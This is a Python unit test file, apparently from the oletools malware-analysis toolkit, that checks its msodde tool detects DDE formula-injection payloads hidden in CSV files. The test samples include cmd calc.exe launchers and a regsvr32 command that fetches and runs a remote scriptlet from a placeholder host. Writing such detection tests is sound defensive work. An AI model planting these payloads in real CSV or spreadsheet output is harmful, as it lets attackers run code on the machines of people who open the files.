test_csv.py
5.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/env python3
""" Check various csv examples """
import unittest
from tempfile import mkstemp
import os
from os.path import join
from oletools import msodde
from tests.test_utils import DATA_BASE_DIR
class TestCSV(unittest.TestCase):
""" Check various csv examples """
DO_DEBUG = False
def test_texts(self):
""" write some sample texts to file, run those """
SAMPLES = (
"=cmd|'/k ..\\..\\..\\Windows\\System32\\calc.exe'!''",
"=MSEXCEL|'\\..\\..\\..\\Windows\\System32\\regsvr32 /s /n /u " +
"/i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''",
"completely innocent text"
)
LONG_SAMPLE_FACTOR = 100 # make len(sample) > CSV_SMALL_THRESH
DELIMITERS = ',\t ;|^'
QUOTES = '', '"' # no ' since samples use those "internally"
PREFIXES = ('', '{quote}item-before{quote}{delim}',
'{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR,
'{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR +
'{quote}item-before{quote}{delim}')
SUFFIXES = ('', '{delim}{quote}item-after{quote}',
'\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR,
'{delim}{quote}item-after{quote}' +
'\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR)
for sample_core in SAMPLES:
for prefix in PREFIXES:
for suffix in SUFFIXES:
for delim in DELIMITERS:
for quote in QUOTES:
# without quoting command is split at space or |
if quote == '' and delim in sample_core:
continue
sample = \
prefix.format(quote=quote, delim=delim) + \
quote + sample_core + quote + delim + \
suffix.format(quote=quote, delim=delim)
output = self.write_and_run(sample)
n_links = len(self.get_dde_from_output(output))
desc = 'sample with core={0!r}, prefix-len {1}, ' \
'suffix-len {2}, delim {3!r} and quote ' \
'{4!r}'.format(sample_core, len(prefix),
len(suffix), delim, quote)
if 'innocent' in sample:
self.assertEqual(n_links, 0, 'found dde-link '
'in clean sample')
else:
msg = 'Failed to find dde-link in ' + desc
self.assertEqual(n_links, 1, msg)
if self.DO_DEBUG:
print('Worked: ' + desc)
def test_file(self):
""" test simple small example file """
filename = join(DATA_BASE_DIR, 'msodde', 'dde-in-csv.csv')
output = msodde.process_file(filename, msodde.FIELD_FILTER_BLACKLIST)
links = self.get_dde_from_output(output)
self.assertEqual(len(links), 1)
self.assertEqual(links[0],
r"cmd '/k \..\..\..\Windows\System32\calc.exe'")
def write_and_run(self, sample_text):
""" helper for test_texts: save text to file, run through msodde """
filename = None
handle = 0
try:
handle, filename = mkstemp(prefix='oletools-test-csv-', text=True)
os.write(handle, sample_text.encode('ascii'))
os.close(handle)
handle = 0
args = [filename, ]
if self.DO_DEBUG:
args += ['-l', 'debug']
processed_args = msodde.process_args(args)
return msodde.process_file(
processed_args.filepath, processed_args.field_filter_mode)
except Exception:
raise
finally:
if handle:
os.close(handle)
handle = 0 # just in case
if filename:
if self.DO_DEBUG:
print('keeping for debug purposes: {0}'.format(filename))
else:
os.remove(filename)
filename = None # just in case
@staticmethod
def get_dde_from_output(output):
""" helper to read dde links from captured output
"""
return [o for o in output.splitlines()]
def test_regex(self):
""" check that regex captures other ways to include dde commands
from http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/ and/or
https://www.contextis.com/blog/comma-separated-vulnerabilities
"""
kernel = "cmd|'/c calc'!A0"
for wrap in '={0}', '@SUM({0})', '"={0}"', '+{0}', '-{0}':
cmd = wrap.format(kernel)
self.assertNotEqual(msodde.CSV_DDE_FORMAT.match(cmd), None)
# just in case somebody calls this file as a script
if __name__ == '__main__':
unittest.main()